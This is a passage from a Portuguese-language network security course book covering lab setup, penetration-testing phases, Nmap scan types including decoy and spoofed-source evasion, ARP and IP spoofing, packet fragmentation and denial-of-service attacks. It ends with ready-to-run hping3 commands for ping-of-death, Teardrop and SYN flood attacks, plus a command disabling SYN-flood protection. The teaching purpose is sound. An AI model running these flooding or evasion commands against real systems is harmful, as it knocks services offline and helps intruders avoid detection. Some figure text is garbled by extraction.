conexões sem fio e comunicações eletrônicas. Nos capítulos seguintes, serão vistas as tecnologias e técnicas de segurança existentes, para que o profissional as conheça e seja capaz de realizar e implementar o planejamento de uma

Segurança de Redes e Sistemas

solução de segurança para redes de computadores.

16

Todas as ferramentas de segurança apresentadas são baseadas em software livre,

Software livre

porém os conceitos são genéricos e se aplicam a outras ferramentas, comerciais ou não,

Qualquer programa de computador que pode ser usado, copiado, estudado e redistribuído sem restrições.

existentes no mercado.

Roteiro de Atividades 1 Atividade 1 – Exercitando os fundamentos de segurança Como vimos, o conceito de segurança mais básico apresentado consiste no CID (Confidencialidade, Integridade e Disponibilidade). Apresente três exemplos de quebra de segurança em cada um desses componentes, como por exemplo: 11 Planilha Excel corrompida. 11 Acesso não autorizado aos e-mails de uma conta de correio eletrônico. 11 Queda de um servidor web por conta de uma falha de energia elétrica. Associe cada um dos eventos abaixo a uma estratégia de segurança definida na parte teórica. 11 Utilizar um servidor Web Linux e outro Windows 2000 Server para servir um mesmo conteúdo, utilizando alguma técnica para redirecionar o tráfego para os dois servidores.

11 Utilizar uma interface gráfica simplificada para configurar uma solução de segurança.

11 Configurar todos os acessos externos de modo que passem por um ponto único.

11 Um sistema de segurança em que caso falte energia elétrica, todos os acessos que passam por ele são bloqueados.

11 Configurar um sistema para só ser acessível através de redes confiáveis, para solicitar uma senha de acesso e em seguida verificar se o sistema de origem possui antivírus instalado.

11 Configurar as permissões de um servidor www para apenas ler arquivos da pasta onde estão as páginas HTML, sem nenhuma permissão de execução ou gravação em qualquer arquivo do sistema.

Atividade 2 – Normas de segurança de 13 de junho de 2008 e as normas complementares indicadas. Elas são um bom ponto de partida para a criação de uma Política de Segurança, de uma Equipe de Tratamento de Incidentes de Segurança, de um Plano de Continuidade de Negócios e para a implementação da Gestão de Riscos de Segurança da Informação.

Atividade 3 – Política de segurança O Incra (Instituto Nacional de Colonização e Reforma Agrária ) publicou, em 2006, sua política de segurança da informação no Diário Oficial da União (Portaria INCRA/P/No 70 de 29/03/2006). Leia o texto procurando identificar as principais dificuldades encontradas pela equipe técnica do

Capítulo 1 - Roteiro de Atividades

Acesse o site do DSIC: http://dsic.planalto.gov.br/ e leia a Instrução Normativa GSI/PR nº 1,

17

Incra para implementar essa política no ambiente de produção. Realize uma crítica construtiva de forma a identificar tópicos importantes que não foram abordados nesse documento.

Atividade 4 – Configuração inicial do laboratório prático A partir do capítulo 3, você utilizará as máquinas virtuais instaladas na sua estação para realizar as práticas do curso. Aproveite esse tempo para se familiarizar com o VirtualBox, ferramenta gratuita de virtualização que está instalada na sua estação. Lembre-se de que as atividades são progressivas e interdependentes. No próximo capítulo, serão detalhadas algumas funcionalidades do VirtualBox. Nesta atividade você vai preparar o servidor Windows 2008 para as próximas atividades. Siga os passos a seguir e tire as eventuais dúvidas com o instrutor. Configuração inicial do Windows 2008 Server: Passo 1

No console do VirtualBox, inicie as máquinas WinServer-G e FWGW1-G, onde G é a letra do seu grupo (A ou B) e deverá ser trocado pelo número 1 (para grupo A) e 2 (para grupo B). Essa regra deverá ser seguida durante todo o treinamento.

Passo 2

No host WinServer-G, altere a senha do usuário administrador para “rnpesr”. Quando solicitar a ativação do Windows, selecione a opção “Activate Later”.

Passo 3

Instale os complementos do VirtualBox, disponíveis no menu “Dispositivos”, item “Instalar Adicionais para Convidado”. Após executar esse comando, vai aparecer uma janela de auxílio de configuração no Windows 2008; aceite todas as configurações padrão e finalize a instalação (não se esqueça de autorizar todas as solicitações de instalação de drivers não assinados). Ao final da instalação, será solicitado o reinício do host; não permita ainda, pois executaremos outros passos antes de reiniciar o Windows.

Passo 4

Altere o endereço IP da máquina para 172.16.G.20, máscara de rede 255.255.255.0, gateway padrão 172.16.G.1, servidor DNS 8.8.8.8 e 8.8.4.4 (servidores do Google). Em “Set Network Location“, selecione “Work”.

Passo 5

Altere o “Computer Name” para WinServer-G e, em “Workgroup”, altere para Grupo. Em Remote selecione “Allow Connections from computers running any version of Remote Desktop (less secure)”.

Passo 6

Desabilite o firewall do Windows.

Passo 7

Reinicie o servidor Windows 2008.

Passo 8

Instale a Role IIS e a Feature FTP Server.

Passo 9

Instale o Adobe Reader versão 9.3.4 no servidor Windows 2008.

Segurança de Redes e Sistemas

Configuração inicial da estação de trabalho hospedeiro (física) do aluno:

18

Passo 1

Na estação de trabalho física, clique em Iniciar > Painel de Controle > Conexões de Rede > VirtualBox Host-Only Network > Propriedades > Protocolo TCP/IP e altere o endereço IP dessa interface de rede para 10.1.G.10, máscara de rede 255.255.255.0

Passo 2

Adicione a rota com o comando abaixo: C:\route add –p 172.16.G.0 mask 255.255.255.0 10.1.G.1

Passo 3

Instale o Wireshark e o Firewall builder.

Passo 4

Reinicie a estação de trabalho.

Ao final dessa atividade, teremos a seguinte topologia, que será utilizada durante todo o curso:

Internet

Topologia A FWGW1 .1 DHCP DMZ 172.16.1.0/24 .20

.1 .10

Rede local 10.1.1.0/24 .10

Servidor Linux

Host Windows XP

Capítulo 1 - Roteiro de Atividades

Servidor Windows 2008

19

20

Segurança de Redes e Sistemas

2 Compreender o funcionamento dos ataques Denial of Service (DoS), SYN flood, smurf, varredura, ARP poison, connection hijacking, sequence prediction attack, buffer overflow e fraggle.

conceitos

Packet Sniffing, ARP Spoofing, IP Spoofing e fragmentação de pacotes IP.

Introdução Com a popularização da internet, as redes de computadores passaram a usar o protocolo TCP/IP em quase sua totalidade. Esse protocolo, apesar de ser um padrão “de fato”, é um protocolo antigo, desenvolvido na década de 60. Nessa época, havia pouca preocupação com segurança, visto que as redes eram restritas e controladas. Hoje em dia, existem diversas vulnerabilidades conhecidas nesses protocolos de rede. Abaixo, discutiremos algumas dessas vulnerabilidades. Porém, para compreendê-las, será necessário um conhecimento sobre a família de protocolos TCP/IP. Caso tenha dúvidas ou necessite revisar seu conhecimento, recomenda-se consultar o material do curso Introdução à Segurança de Redes, oferecido pela Escola Superior de Redes.

Exercício de nivelamento 1 e Explorando vulnerabilidades em redes O que é o protocolo TCP/IP?

Como funciona o protocolo TCP/IP?

Penetration Test Um teste de penetração consiste em apurar o quanto difícil é invadir uma rede de com-

Capítulo 2 - Explorando vulnerabilidades em redes

objetivos

Explorando vulnerabilidades em redes

putadores. Objetivamente falando, um teste de invasão ou Penetration Test é uma busca 21

e identificação de vulnerabilidades em uma rede ou sistema computacional. A forma de elaboração de um teste pode variar, desde determinar um breve panorama de segurança da infraestrutura de uma empresa, até o que pode-se chamar de inspeção profunda, com o objetivo de obter informações específicas sobre um ativo de uma organização. Um teste de penetração pode revelar:

q

11 Que tipo de informação pode ser obtida fora da organização, ou seja, sem necessariamente se conectar à rede da empresa ou acessá-la fisicamente. 11 Como os sistemas reagem a um ataque. 11 Se é possível acessar o sistema com informações disponíveis ou já existentes. 11 Informações que possam se tornar acessíveis em caso de pane no sistema. Naturalmente, o objetivo de um pentest é investigar o sistema do ponto de vista do atacante, identificando exposições de risco antes de se procurar uma solução.

Testes de penetração Existem três tipos de abordagens para teste de penetração:

q

Teste de penetração zero Mais conhecido com BlackBox, onde o grupo de teste não tem nenhuma informação real sobre o alvo e deve começar com a coleta de informações. Esse tipo de teste foi projetado para oferecer o teste de penetração mais realístico possível. Teste de penetração parcial Mais conhecido como Grey Box, onde a organização alvo fornece à equipe de testes informações sobre o que provavelmente um atacante motivado pode encontrar. Um teste de penetração parcial também pode ser escolhido se o objetivo for testar um novo tipo de ataque ou mesmo ou se a equipe quer focar em um host específico da empresa. Para esse tipo de testes é necessário que sejam fornecidos documentos sobre topologia de rede, política de segurança, inventário de ativos e outras informações valiosas. Teste de conhecimento Também conhecido como White Box, em que a equipe detém muita informação sobre a infraestrutura e sobre os sistemas alvo. Nesse caso, o teste visa simular um atacante que possui um conhecimento íntimo da organização alvo.

Técnicas de ataque Uma descrição compreensiva de técnicas de ataque é fundamental para evitar danos ou minimizar a perda de informações nos sistemas da organização. Normalmente utilizamos uma metodologia de penetração baseadas em fases que vão evoluindo ao longo do processo.

Segurança de Redes e Sistemas

Fase de descoberta Coleta de informações na organização-alvo através de servidores de sites e de correio, registros públicos e bancos de dados (endereços e nomes de registros, DNS, Whois, logs etc.). Fase de enumeração Fase onde a equipe de testes tenta exaustivamente obter informações, como nomes de usuários, informações sobre compartilhamentos de rede, informações sobre aplicativos, plataformas, infraestrutura onde estão hospedados e versões dos serviços em execução. Fase de mapeamento de vulnerabilidades Fase em que a equipe de testes mapeia o perfil do ambiente em busca de vulnerabilidades publicamente conhecidas. 22

q

Fase de exploração

q

Fase em que a equipe de testes tentará obter acesso privilegiado a um alvo utilizando ferramentas conhecidas como exploits para a descoberta de vulnerabilidades identificadas. Os atacantes estão constantemente aperfeiçoando suas táticas de invasão. Em contrapartida o administrador de sistemas deve se atualizar constantemente buscando formas para encontrar brechas em seus sistemas antes que invasores o façam. Um sistema seguro significa encontrar o equilíbrio entre o valor da informação disponível e a quantia de recursos utilizados para a proteção dessa informação. A partir do conhecimento sobre metodologia de penetração, poderemos passar a ver os tipos mais comuns de exploração de vulnerabilidades. Esses tipos são baseados quase que em sua totalidade no protocolo TCP/IP.

Packet Sniffing Sniffing

O termo Packet Sniffing tem sido ao longo do tempo substituído por “Analisador de proto-

“Farejar”, em inglês, consiste em capturar pacotes em trânsito numa interface de rede.

colo” (protocol analyzer) em razão de o termo sniffer ter conotação de atividade maliciosa. No entanto, a ação realizada é a mesma, ou seja, ler todos os pacotes de dados que estão trafegando em uma rede específica. Hoje, com as redes sem fio, a situação é semelhante, com ferramentas que capturam os dados no ar. Lembre-se de que a capacidade de ler os pacotes vai sempre ser limitada pelo uso de criptografia ou através de soluções físicas, como o uso de um switch, que impede que uma placa de rede veja todo o tráfego de uma rede.

Figura 2.1 Interface de um programa de captura de pacotes.

Capítulo 2 - Explorando vulnerabilidades em redes

Na figura seguinte, vemos a interface de um programa de captura de pacotes.

23

Exercício de fixação 1 e Penetration Test Quais são os tipos de abordagens para teste de penetração?

Exercício de fixação 2 e Packet sniffing O que é e o que faz um analisador de protocolo?

Nmap O Nmap é uma ferramenta de código aberto, utilizada para exploração de rede e auditoria de segurança. Ela foi desenhada para identificar as portas de serviço que estão abertas na máquina-alvo ou em um conjunto de máquinas. O resultado final de sua execução inclui, dependendo das opções utilizadas, informações como a versão do sistema operacional e a versão dos serviços em execução.

Nmap 192.168.1.0/24 macbook-pro-de-ivo-peixinho:~ ivocarv$ Nmap 192.168.1.0/24

Starting Nmap 5.00 ( http://Nmap.org ) at 2010-12-30 17:58 BRT Interesting ports on 192.168.1.1: Not shown: 997 closed ports PORT

STATE SERVICE

23/tcp

open

telnet

80/tcp

open

http

5431/tcp open

park-agent

Segurança de Redes e Sistemas

Interesting ports on 192.168.1.6:

24

Not shown: 991 closed ports PORT

STATE

SERVICE

88/tcp

open

kerberos-sec

139/tcp

open

netbios-ssn

445/tcp

open

microsoft-ds

631/tcp

open

ipp

q

999/tcp

filtered garcon

1503/tcp filtered imtc-mcs 5298/tcp open

unknown

6547/tcp filtered powerchuteplus 7937/tcp filtered nsrexecd

Interesting ports on 192.168.1.11: Not shown: 998 closed ports PORT

STATE SERVICE

88/tcp

open

548/tcp open

kerberos-sec afp

Nmap done: 256 IP addresses (3 hosts up) scanned in 21.43 seconds Nesse exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro a rede 192.168.1.0/24, que corresponde à classe C 192.168.1.0 (máscara 255.255.255.0). Note que o Nmap apresenta apenas os endereços IP que estão disponíveis, mostrando as portas abertas em cada servidor. A seguir alguns parâmetros interessantes do Nmap: 11 -O – realiza uma tentativa de detectar o sistema operacional da máquina analisada.

q

11 -P0 – realiza a varredura da máquina mesmo que ela não responda ao ping, sendo útil em servidores que estão sendo filtrados por firewalls. 11 -v – aumenta a quantidade de informação apresentada. 11 -s – tipo de varredura utilizada. Algumas varreduras procuram evitar que o sistema destino registre as tentativas de acesso. O Nmap suporta diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window), M (Maimon), U (UDP), N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP) e O (IP protocol).

Abaixo alguns exemplos de execução do Nmap.

Lembre-se de que o pacote Nmap deve estar instalado em máquinas Linux.

Técnica

Explicação

Exemplo

Varredura TCP SYN

Tipo de varredura mais comumente utilizada, facilmente detectável. O atacante envia para o alvo pacote com a flag SYN setada: se receber SYN/ACK, a porta está aberta; se receber RST, a porta está fechada.

#Nmap -sS

Varredura TCP Connect

Tipo de varredura padrão do Nmap, também facilmente detectável. O Nmap procura realizar uma conexão normal com a máquina-alvo, emitindo no final o comando connect.

#Nmap –sT

Capítulo 2 - Explorando vulnerabilidades em redes

A execução do Nmap é bem simples, estando ele disponível para uma série de plataformas.

25

Segurança de Redes e Sistemas

Técnica

Explicação

Exemplo

Varredura TCP FIN, XMAS (Árvore de Natal) e TCP Nula

Essa varredura explora uma falha sutil na implementação do TCP/IP na máquina-alvo. Um atacante envia para o alvo pacote com a flag FIN, sem flag (TCP Null) ou com todas as flags setadas (XMAS). Se receber RST, a porta está fechada. Se não receber nada ou um pacote qualquer, a porta está aberta.

#Nmap -sF

Varredura UDP

Embora os serviços mais populares na internet utilizem o protocolo TCP, serviços como DNS, SNMP e DHCP utilizam o protocolo UDP. Essa varredura permite identificar serviços UDP em execução na máquina. Seu modo de funcionamento é bastante simples: o atacante envia para o alvo um pacote UDP. Se receber a mensagem ICMP Port Unreachable, a porta está fechada. Se não receber nada ou um pacote qualquer, a porta está aberta.

#Nmap -sU ip_alvo

Varredura TCP ACK (detecta as portas que estão sendo filtradas por um firewall)

Essa varredura é diferente das anteriores, pois nunca determina se uma porta está aberta. Seu objetivo é mapear o conjunto de regras de um firewall, determinando se essas regras são orientadas à conexão ou não e quais portas estão sendo filtradas. O atacante envia para o alvo um pacote com as flags ACK. Se receber RST, a porta não está sendo filtrada. Se receber a mensagem ICMP Unreachable, a porta está sendo filtrada.

#Nmap -sA ip_alvo

Varredura TCP/ Windows (detecta as portas que estão sendo filtradas por um firewall)

Tem o mesmo objetivo da varredura TCP ACK, exceto que explora o detalhe de implementação TCP/IP realizada por certos sistemas operacionais. O atacante envia para o alvo um pacote com as flags ACK. Ao receber o pacote com a flag RST, o Nmap avaliará o tamanho da janela TCP. Se esse valor for positivo, a porta está aberta. Se esse valor for igual a zero, a porta está fechada.

#Nmap -sW ip_alvo

Varreduras Decoy

Realiza varreduras em um alvo utilizando endereços falsos. O objetivo é “esconder” o verdadeiro alvo de sistemas de detecção de intrusos (IDS).

# Nmap -s S -D 101.102.103.104,

Varredura utilizando o ataque FTP Boune

Explora uma falha na implementação do protocolo FTP, que permite ao atacante, a partir do comando PORT, utilizar o servidor FTP para escanear outras máquinas na rede do alvo.

# Nmap –b

Varreduras temporizadas

Alguns mecanismos de IDS utilizam o tempo de envio de pacotes para determinar se um servidor está sendo “escaneado”. Para evitar a detecção, pode-se manipular o tempo de envio de pacotes utilizando o parâmetro – T, sendo o número “0” para Paranoid e até “5” para Insane. Abaixo a relação dos tempos para cada temporizador:

# Nmap –sS -T 1

11Paranoid: 5 minutos de delay

11Sneaky: 15 segundos de delay

11Polite (educada): 0.4 décimos de segunds de delay 11Normal (default)

11Aggressive (agressiva): .min2o segundos por host 11Insane: 0.3 décimos de segunds

26

#Nmap -sX #Nmap -sN

1.1.1.1, 2.2.2.2, 3.3.3.3 ip_alvo

anonymous:[email protected]:21 172.16.1.1

Técnica

Explicação

Exemplo

Varredura furtiva

Possibilita a um invasor fazer uma varredura forjando a origem, com o objetivo de desviar a atenção ou simplesmente irritar o administrador.

# Nmap -sF ip_alvo -S 1.1.1.111

Varredura OS FingerPrint

Tem como objetivo identificar a versão do sistema operacional da máquina-alvo, a partir do comportamento e das respostas do protocolo TCP/IP.

#Nmap -O ip_alvo

Varredura para levantamento de serviços no alvo

Varredura para identificar a versão dos serviços que estão em execução na máquina-alvo.

# Nmap -sV ip_alvo

–n –e eth0

Exercício de fixação 3 e Nmap No Nmap, para que é utilizada a técnica de “Varredura TCP/Windows”?

Hping A ferramenta Hping é um gerador e analisador de pacotes TCP/IP muito utilizado para

q

atividades de auditoria, testes de firewall e redes, sendo bastante útil para administradores e hackers. Possui suporte para os protocolos ICMP, UDP e TCP e permite a modificação de qualquer informação, tanto do payload quanto do cabeçalho do pacote. Principais funcionalidades: 11 Teste de firewall. 11 Port scanning avançado. 11 Teste de rede, usando diferentes protocolos e fragmentação. 11 Descoberta manual de MTU. 11 Traceroute avançado, usando outros protocolos.

11 Auditoria da pilha TCP/IP. No último tópico deste capítulo, a ferramenta Hping será utilizada para demonstrar alguns tipos de ataques.

ARP Spoofing Ataques de ARP Spoofing são relativamente antigos, mas quando empregados produzem

q

resultados de impacto. O conceito do ataque visa enviar um pacote ARP falso para uma MAC Media Access Control é um protocolo de acesso ao meio físico em uma interface de rede. Endereços físicos de interfaces de rede são comumente chamados de endereços MAC.

rede local, direcionando o tráfego do destino correto para um sistema malicioso. O protocolo ARP traduz endereços físicos (MAC) para endereços IP. Lembre-se de que os endereços MAC são singulares, isso é, o fabricante da interface de rede associa unicamente um endereço MAC a uma interface específica. Dessa forma, a apropriação da identidade de outro sistema fará com que todo o tráfego na rede seja desviado para o sistema invasor.

Capítulo 2 - Explorando vulnerabilidades em redes

11 OS Fingerprinting.

Outro resultado possível de ataques de ARP Spoofing é a negação de serviço contra o sistema-alvo, pois o tráfego não chegará ao sistema de destino. 27

IP: 10.0.0.1

IP: 10.0.0.7

MAC: [bb:bb:bb:bb:bb:bb]

MAC: [aa:aa:aa:aa:aa:aa]

Switch

AR 10 P C a .0 .0 ch e .1 pa mo ra d M ific AC ad :[ oa cc :c pon c: cc ta I :c c: P cc :c c]

IP cc] ta cc: on c: ap cc:c do :cc: c ca ifi : [c od C m MA e ch ara Ca 7 p P . AR .0.0 10

Atacante IP: 10.0.0.3

Figura 2.2 Ataque ARP Spoofing.

MAC: [cc:cc:cc:cc:cc:cc]

IP Spoofing Essa técnica de ataque tem como objetivo alterar um campo do cabeçalho IP, para que

q

os pacotes sejam enviados como se partissem de uma origem diferente. O campo do pacote alterado é o do endereço de origem, um campo de 32 bits que indica o endereço IP de onde partiu o pacote. O cabeçalho IP possui um tamanho fixo de 20 octetos ou 160 bits, além de uma porção opcional, raramente utilizada.

Atacante Endereço: 1.1.1.1

IP

IP

Segurança de Redes e Sistemas

TCP

28

TCP

Internet

De: 3.3.3.3

De: 3.3.3.3

Para: 2.2.2.2

Para: 2.2.2.2 Vítima Endereço: 2.2.2.2

Host confiável Endereço: 3.3.3.3

De: 2.2.2.2 Para: 3.3.3.3

Figura 2.3 IP Spoofing.

Fragmentação de pacotes IP Uma característica do TCP/IP bastante utilizada em ataques é a fragmentação de

q

pacotes. Seja para dificultar a detecção de ataques ou para realizar a negação de serviços, essa característica faz parte do arsenal de técnicas de ataque. A fragmentação de pacotes está relacionada à Maximum Transfer Unit (MTU), parâmetro que especifica a quantidade máxima de dados que pode passar em um único pacote por um meio físico da rede. Caso um pacote tenha tamanho superior ao suportado pelo meio físico da rede, é fragmentado (dividido). FDDI Fiber Distributed Data Interface é a tecnologia de transmissão de dados em redes.

Por exemplo, a rede Ethernet limita a transferência a 1500 octetos de dados, enquanto o FDDI permite 4470 octetos de dados por pacote. Com isso, um pacote que parta de uma rede FDDI (com 4470 octetos) e passe por uma rede Ethernet (com 1500 octetos) é dividido em quatro fragmentos com 1500 octetos cada um, que é o tamanho suportado pela rede Ethernet. Os fragmentos resultantes trafegam pela rede e, quando chegam ao seu destino final, são reagrupados, com base em offsets ou deslocamentos, reconstituindo, assim, o pacote original. Todo esse processo de fragmentação e reagrupamento é realizado de modo automático e transparente para o usuário, de acordo com as regras do protocolo IP. Roteador 1

Roteador 2

Rede 1

Rede 2

Rede 3

MTU = 1500 bytes

MTU = 620 bytes

MTU = 1500 bytes

1500 bytes

600 bytes

1500 bytes

600 bytes 30 bytes

A possibilidade de ataques que exploram a fragmentação de pacotes IP está relacionada ao modo como são implementados a fragmentação e o reagrupamento. Tipicamente, os sistemas não tentam processar o pacote, até que todos os fragmentos sejam recebidos e reagrupados. Isso cria a possibilidade de ocorrer um estouro (overflow) na pilha TCP quando há o reagrupamento de pacotes cujo tamanho total seja maior que o espaço que foi reservado, ou seja, pacotes maiores podem ser criados para forçar o estouro da pilha. O resultado disso são problemas como o travamento do sistema, caracterizando ataques do tipo Denial of Service, que comprometem a disponibilidade de recursos. Outro ataque consiste em gerar pacotes com o offset de fragmentação negativo, que pode causar resultados inesperados caso a pilha TCP/IP do sistema de destino não realize uma verificação antes de tentar reagrupar os pacotes. A fragmentação de pacotes foi explorada em ataques, inicialmente, no fim de 1996 pelo Ping da Morte. O ataque consistia no envio de pacotes ICMP Echo Request (ping) com tamanho de 65535 bytes. Esse tamanho, maior do que o normal, fazia com que diversos sistemas travassem por causa da sobrecarga do buffer da pilha TCP/IP, que não era capaz de reagrupar um pacote tão grande. O ping foi empregado inicialmente devido à sua facilidade de uso,

Capítulo 2 - Explorando vulnerabilidades em redes

Figura 2.4 Fragmentação de pacotes IP.

embora outros pacotes IP grandes, sejam eles TCP (conhecido como ataque Teardrop) 29

ou UDP, possam causar esse mesmo tipo de problema. O problema existiu, na realidade, devido a erros de implementação da pilha TCP/IP em sistemas operacionais e em equipamentos de redes. Por isso, atualmente, os sistemas já corrigiram esse problema por meio de atualizações e instalações de correções (patches). Porém, a fragmentação e o reagrupamento podem ser utilizados para ataques mais sofisticados, com o intuito de driblar firewalls ou sistemas de detecção de intrusão (IDS). Isso acontece porque a fragmentação e o reagrupamento ocorrem somente entre as pontas, o que faz com que o firewall, o roteador ou o IDS que não suportem fragmentação, não detectem ataques cujos dados estejam em pacotes diferentes, já que são elementos localizados entre dois hosts que se comunicam. A fragmentação é utilizada, por exemplo, como um método de varredura como o usado pelo Nmap, que envia pacotes fragmentados em alguns casos, de modo que sua detecção pelo firewall ou pelo IDS torna-se mais difícil.

Ataques de negação de serviço Os ataques de negação de serviço ou DoS (Denial of Service) possuem como objetivo afetar

q

a disponibilidade dos recursos, impedindo que as informações sejam acessadas por usuários legítimos. Diversas técnicas, em diferentes níveis da pilha TCP/IP, podem ser usadas para esse fim. De uma forma geral, ataques DoS fazem com que recursos sejam explorados de maneira agressiva, o que estressa o recurso, impedindo-o de realizar suas tarefas básicas. Consequentemente, usuários legítimos ficam impossibilitados de utilizá-los. Uma técnica típica de ataque DoS é o SYN flooding, que, com uma enxurrada de pacotes de requisição de conexão (SYN), causa o estouro (overflow) da pilha de memória, que passa a não aceitar novas requisições. Outra técnica é o envio de pacotes específicos causando a interrupção do serviço, que pode ser exemplificada pelo Smurf. Os ataques DoS vão além da pilha de protocolos TCP/IP, como o caso de estouro de memória em aplicações (e da interrupção do serviço), muitas vezes causado por falhas na programação desses aplicativos. As técnicas mais avançadas de DoS são coordenadas e distribuídas, onde os ataques partem não de um equipamento, mas de vários, que também acabam se tornando vítimas. Essa técnica é conhecida como Distributed Denial of Service (DDoS).

Ataques de SYN flood Um ataque SYN flood consiste em uma alteração no protocolo padrão de estabelecimento

q

de comunicação no protocolo TCP, conhecido como three way handshake. Em uma comunicação TCP normal, são trocadas as seguintes mensagens para estabelecimento de uma sessão: 1. O cliente envia uma requisição de conexão: pacote com a opção SYN habilitada e com Segurança de Redes e Sistemas

o número de sequência x. 2. O servidor recebe o pacote SYN e responde com uma mensagem de reconhecimento, que

consiste em um pacote com as opções SYN e ACK habilitadas (SYN-ACK) e com números de sequência x+1 e y. O servidor, então, adiciona 1 ao número de sequência recebido pelo cliente (x). Esse foi o método estabelecido para identificar uma determinada requisição. 3. O cliente reconhece o pacote SYN-ACK (pacote ACK com y + 1). O cliente adiciona 1 ao

número de sequência y recebido pelo servidor. 4. A conexão é estabelecida. 5. A troca de dados acontece.

30

6. A conexão é encerrada com um pacote com flag FIN. 7. A conexão é encerrada de forma anormal com um pacote RST.

Um ataque de flooding, ou enxurrada de pacotes, consiste em uma técnica para desestabilizar e derrubar recursos computacionais, e pode acontecer em vários níveis do TCP/IP. SYN Flooding é um ataque de negação de serviço que explora o mecanismo de estabelecimento de conexões TCP, baseado em handshake em três vias (three-way handshake). O ataque consiste no envio de um grande número de requisições de conexão (pacotes SYN) para a vítima, de tal maneira que ela se torne incapaz de responder a todas as requisições. Com um grande número de requisições SYN simultâneas, a quantidade de conexões máximas é atingida e a vítima fica incapacitada de atender a conexões legítimas, até que a memória seja liberada. Caso o ataque seja realizado de forma continuada, este pode tornar um serviço indisponível. SYN (IP de origem falsificado) SYN (IP de origem falsificado) Figura 2.5 Ataque de flooding.

SYN (IP de origem falsificado)

Vítima

Atacante

Ataque Smurf Smurf é outro ataque de negação de serviço, no qual um grande tráfego de pacotes ping

q

(ICMP echo) é enviado para o endereço IP de broadcast da rede, tendo como origem o Em inglês, “falsificação”, “disfarce”; se refere aos ataques onde informações no cabeçalho dos protocolos são falsificadas.

endereço IP da vítima (IP Spoofing). Com o broadcast, cada host da rede recebe a requisição de ICMP echo, passando todos eles a responderem para o endereço de origem, que é falsificado, pois é o comportamento padrão quando um pacote tem por destino o endereço de broadcast da rede. A rede utilizada também é afetada, pois todos os seus hosts respondem à requisição ICMP, passando a atuar como um amplificador. Além disso, a vítima, que teve o seu endereço IP falsificado, recebe os pacotes de todos esses hosts, ficando impedida de executar suas funções normais, sofrendo assim um ataque de negação de serviço. As vítimas do ataque, assim, são a rede e o host que teve o seu endereço IP falsificado.

Capítulo 2 - Explorando vulnerabilidades em redes

Spoofing

31

Ataque Smurf

Atacante envia pacote com endereço IP falsificado

Respostas ICMP encaminhadas para a vítima

Figura 2.6 Ataque Smurf.

Varredura Apesar de não ser necessariamente uma vulnerabilidade, a varredura (scanning) é uma técnica muito usada por atacantes para verificar quais endereços IP de uma determinada rede estão associados a servidores e quais portas estão abertas (TCP e UDP) nesses servidores. A varredura consiste em tentar conexão em um conjunto de endereços IP e portas, verificando quais retornam algum tipo de resposta. Zenmap O Zenmap é a interface gráfica oficial (Frontend) do já conhecido programa Nmap Security Scanner, possuindo versões para plataformas como Windows, Linux, MacOS, BSD, entre outras. Com essa ferramenta, a tarefa de levantamento de informações do protocolo TCP/IP se torna mais fácil e produtiva, principalmente por revelar aos iniciantes opções avançadas

Segurança de Redes e Sistemas

de exploração de portas oferecidas pelo Nmap.

32

w Existem ferramentas específicas para fazer varredura, sendo a mais famosa a ferramenta livre Nmap.

Figura 2.7 Técnica da varredura Zenmap.

Com o Zenmap podemos: 11 Salvar comandos de varreduras frequentemente utilizadas. 11 Utilizar o Command Wizard para criar interativamente comandos de varredura. 11 Salvar resultados de varreduras para visualização posterior. 11 Comparar varreduras salvas e verificar suas diferenças. 11 Criar topologias de rede com a ferramenta Topology Mapping Tool. Além dessas opções, o Zenmap disponibiliza todas as varreduras em uma base de dados totalmente pesquisável.

Essa ferramenta provê uma visão interativa e animada das conexões entre computadores. Combinada com a opção traceroute do Nmap pode descobrir o caminho dos hosts dentro de uma rede de computadores.

Capítulo 2 - Explorando vulnerabilidades em redes

Topology Mapping Tool

33

Exercício de fixação 3 e IP Spoofing Explique o que é um IP Spoofing?

Exercício de fixação 4 e DoS Explique o que é um ataque de negação de serviço?

Alguns tipos de ataques Fragmentação de pacotes (ping da morte) Para realizar a fragmentação de pacotes ou ping da morte, o atacante enviará um pacote maior que o PDU da rede, sobrecarregando o host de destino quando ele tentar remontar a informação.

Segurança de Redes e Sistemas

Para realizar o ataque, execute:

34

# hping3 -V -c 100 -d 65495 --icmptype 8 Onde: -V = modo monitor. -c = quantidade de pacotes enviados. -d = quantidade de bytes de dados, maior que 1480 para ativar a fragmentação. --icmptype 8 = mensagem ICMP Echo Request.

Figura 2.8 Zenmap Topology Mapping Tool.

Ou5

# ping –i -l 65500 -t Onde: -i = indica que cada ping deve ser realizado em um intervalo de um milésimo de segundo. -l = define o tamanho do pacote. -t = envia os pacotes por tempo indeterminado.

Fragmentação de pacotes (Teardrop) Ataque de negação de serviço que também explora o princípio da fragmentação do pacote IP. O ataque Teardrop consiste em modificar o número de sequência que identifica a ordem correta de remontagem do pacote, de forma a inserir espaços vazios, podendo provocar instabilidade no sistema-alvo. Para realizar o ataque, execute:

# hping3 –V –c 100 –d 65500 –S –p 80 –s 4657 –a O comando acima ativa o modo monitor (-V), que permite monitorar as respostas. Serão enviados 100 pacotes (-c) com tamanho de 65500 (-d) bytes de dados (deve ser maior que 1480 para ativar a fragmentação). A opção “-S” informa para enviar o pacote com a flag SYN configurada para a porta 80 (-p) e porta de origem 4657 (-s). A opção “–a” trocará o endereço de origem do pacote, permitindo a realização do spoof.

Simulando um ataque de Synflood Esse ataque consiste em enviar uma enxurrada de pacotes com a flag SYN ativa, utilizando a ferramenta hping3. Para isso, será necessário desativar a proteção contra SYN Flooding do kernel do Linux. Essa opção vem habilitada por padrão na distribuição Debian. Para desabilitar a proteção, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/tcp_syncookies Nota: como o exemplo a seguir realiza o ataque a um servidor web, antes de executar o comando verifique a disponibilidade do servidor http que será atacado. Execute tcpdump ou Wireshark para verificar os pacotes de ataque que estão sendo enviados. Para executar o

# tcpdump -i INTERFACE host IP_DO_ALVO -n Por fim, você deve digitar o seguinte comando para iniciar o ataque:

# hping3 IP_DO_ALVO -p 80 -S --faster --rand-source O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do serviço web (-p 80), enviando um pacote a cada microssegundo (--faster) e alterando o endereço de origem aleatoriamente (--rand-source). Enquanto o ataque está em andamento, tentar acessar o serviço web da máquina-alvo através de um navegador. Você não deve conseguir acessar o serviço, pois a máquina está sobrecarregada tratando as diversas requisições enviadas pelo hping. Para finalizar a execução do hping e do tcpdump, basta digitar CTRL+C.

